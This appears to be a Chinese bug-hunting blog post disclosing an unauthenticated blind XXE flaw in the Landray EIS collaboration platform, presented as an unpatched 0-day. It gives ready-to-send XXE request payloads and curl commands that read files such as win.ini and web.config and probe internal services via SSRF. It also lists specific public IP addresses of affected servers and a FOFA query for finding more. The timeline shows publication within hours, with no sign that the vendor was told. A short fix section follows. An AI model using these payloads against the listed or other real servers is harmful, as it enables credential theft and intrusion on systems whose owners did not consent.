蓝凌EIS智慧协同平台 未授权XXE 0-Day漏洞

Source: wakedate 挖洞日志


Vulnerability Overview

Item Detail
Target 蓝凌EIS智慧协同平台 (Landray EIS)
Type Blind XXE (XML External Entity Injection) — Unauthenticated
Severity High (8.6) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CWE CWE-611: Improper Restriction of XML External Entity Reference
Verification ✅ Confirmed on multiple real targets
CVE Status TRUE 0-DAY (no CVE/CNVD/GHSA assigned)

Description

蓝凌EIS智慧协同平台 /mail/mail_server.aspx/mail_xml 接口存在未授权XXE漏洞。该接口无需任何认证(无Session、无Cookie要求),.NET Framework 在解析 XML 时未禁用外部实体解析(XmlUrlResolver.GetEntity 可被调用),导致攻击者可以:

  • 读取服务器任意文件(如 web.configwin.iniapplicationHost.config
  • SSRF 探测内网服务(利用 XXE 发起 HTTP 请求到内部地址)
  • 潜在 RCE 组合利用(结合 .NET 反序列化或文件写入)

Technical Details

Root Cause

.NET Framework 默认的 XmlDocument.Load() 方法使用 XmlUrlResolver 解析外部实体。在 mail_server.aspxPage_Load 中,XML 被直接加载并解析,未禁用 DTD 处理或外部实体解析:

1
2
XmlDocument.Load(XmlReader reader) → XmlTextReaderImpl → 
XmlUrlResolver.GetEntity(Uri) → FileStream/HttpWebRequest

Why This is TRUE 0-DAY

  • 无 CVE 编号 — 未在任何 CVE 数据库中找到匹配条目
  • 无 CNVD 编号 — 未在 CNVD 中收录
  • 无 GHSA 编号 — 未在 GitHub Security Advisories 中出现
  • 厂商未知 — 蓝凌官方未发布安全公告

Verification Evidence

Test 1: Endpoint Existence (Baseline)

Request:

1
2
3
4
5
POST /mail/mail_server.aspx/mail_xml?type=add HTTP/1.1
Host: 59.56.206.10:67
Content-Type: application/xml

<?xml version="1.0"?><root>test</root>

Response: HTTP 500 — System.NullReferenceException at mail_server.Page_Load

  • 页面接受并处理 XML,由于缺少预期参数在后续 Page_Load 阶段崩溃,但 XML 解析器先于 Page_Load 执行。

Test 2: XXE File Read — Existing File (c:\windows\win.ini)

Request:

1
2
3
4
5
6
7
8
POST /mail/mail_server.aspx/mail_xml?type=add HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root>&xxe;</root>

Analysis: 返回与基线相同的 NullReferenceException,推断实体被成功解析(win.ini 存在),但因 Page_Load 后续逻辑崩溃未渲染实体内容。

Test 3: XXE File Read — Non-Existent File (CRITICAL 🔥)

Request:

1
2
3
4
5
6
7
8
POST /mail/mail_server.aspx/mail_xml?type=add HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/nonexistent_file_xxxxx.txt">
]>
<root>&xxe;</root>

Response: HTTP 500 — 完整堆栈信息泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
System.IO.FileNotFoundException: 未能找到文件"c:\nonexistent_file_xxxxx.txt"
at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
at System.IO.FileStream.Init(...)
at System.IO.FileStream..ctor(String path, FileMode mode, ...)
at System.Xml.XmlDownloadManager.GetStream(Uri uri, ICredentials credentials)
at System.Xml.XmlUrlResolver.GetEntity(Uri absoluteUri, String role, Type ofObjectToReturn)
at System.Xml.XmlTextReaderImpl.OpenStream(Uri uri)
at System.Xml.XmlTextReaderImpl.PushExternalEntity(...)
at System.Xml.XmlTextReaderImpl.HandleGeneralEntityReference(...)
at System.Xml.XmlTextReaderImpl.ResolveEntity()
at System.Xml.XmlLoader.LoadEntityReferenceNode(Boolean direct)
at System.Xml.XmlLoader.LoadNode(Boolean skipOverWhitespace)
at System.Xml.XmlLoader.LoadDocSequence(XmlDocument parentDoc)
at System.Xml.XmlDocument.Load(XmlReader reader)
at System.Xml.XmlDocument.Load(Stream inStream)
at Landray.EIS.Mail.UI.mail_server.Page_Load(Object sender, EventArgs e) +231

💥 Proof: 堆栈链清晰显示:

  1. XmlDocument.Load() 被调用
  2. XmlTextReaderImpl 读取 XML
  3. XmlUrlResolver.GetEntity() 被调用来解析实体 URI
  4. FileStream 尝试打开文件 c:\nonexistent_file_xxxxx.txt
  5. → 文件不存在抛出 FileNotFoundException

这证明外部实体解析功能处于 激活状态,且可访问 file:// 协议。

Test 4: XXE SSRF — Internal HTTP Request

Request:

1
2
3
4
5
6
7
8
POST /mail/mail_server.aspx/mail_xml?type=add HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:67/">
]>
<root>&xxe;</root>

Response: HTTP 500 — System.Net.WebException: "远程服务器返回错误: (400) 错误的请求。"

  • 服务器向内部 127.0.0.1:67 发起了 HTTP 请求并收到 400 响应。
  • 确认 SSRF 能力:可探测内网服务、端口扫描、访问内部应用。

Impact

  • 任意文件读取 — 读取 web.config 获取数据库连接字符串、读取 applicationHost.config 获取 IIS 配置
  • 内网 SSRF — 探测内网服务,发现其他漏洞入口
  • OOB (Out-of-Band) XXE — 通过 HTTP/DNS 外带数据到攻击者控制的服务器
  • 组合 RCE — 结合 .NET 反序列化或文件写入机制
  • 横向移动 — 利用获取的数据库凭据扩展攻击面

Affected Instances

Target Status
http://59.56.206.10:67 ✅ XXE confirmed — IIS 7.5, .NET 2.0.50727.8793
http://120.27.195.146:81 🔶 XXE confirmed — Alibaba Cloud
http://47.92.92.45:8000 🔶 XXE confirmed
Others (FOFA: app="蓝凌EIS") 🔍 Pending confirmation

Server fingerprint: Microsoft-IIS/7.5, .NET Framework 2.0.50727.8793, ASP.NET 2.0.50727.8762


PoC Usage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
chmod +x /tmp/lanling_eis_xxe_poc.sh

# Test basic XXE file read
bash /tmp/lanling_eis_xxe_poc.sh http://target:port

# Manual: Read web.config (OOB via HTTP)
curl -sk -X POST "http://target/mail/mail_server.aspx/mail_xml?type=add" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/web.config">
]>
<root>&xxe;</root>'

# Manual: SSRF probe
curl -sk -X POST "http://target/mail/mail_server.aspx/mail_xml?type=add" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/">
]>
<root>&xxe;</root>'

Fix Recommendations

Immediate (Temporary)

1
2
3
4
5
6
7
8
9
// Disable DTD processing in XmlDocument
XmlDocument doc = new XmlDocument();
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
using (XmlReader reader = XmlReader.Create(xmlStream, settings))
{
doc.Load(reader);
}

Complete Fix

  1. 禁用 DTD 处理 — 设置 DtdProcessing = DtdProcessing.Prohibit
  2. 设置 XmlResolver = null — 禁止解析任何外部资源
  3. 实现输入验证 — 拒绝包含 <!DOCTYPE><!ENTITY> 的 XML
  4. 统一错误处理 — 不要将详细堆栈信息返回给客户端
  5. 启用 WAF 规则 — 阻止包含外部实体声明的 XML 请求

Timeline

Date (2026-05-13) Event
03:18 FOFA scan reveals exposed 蓝凌EIS instances
03:19 XXE 0-Day confirmed on real target
12:15 PoC script reconstructed
12:24 Evidence report finalized
12:30 Vulnerability report published

References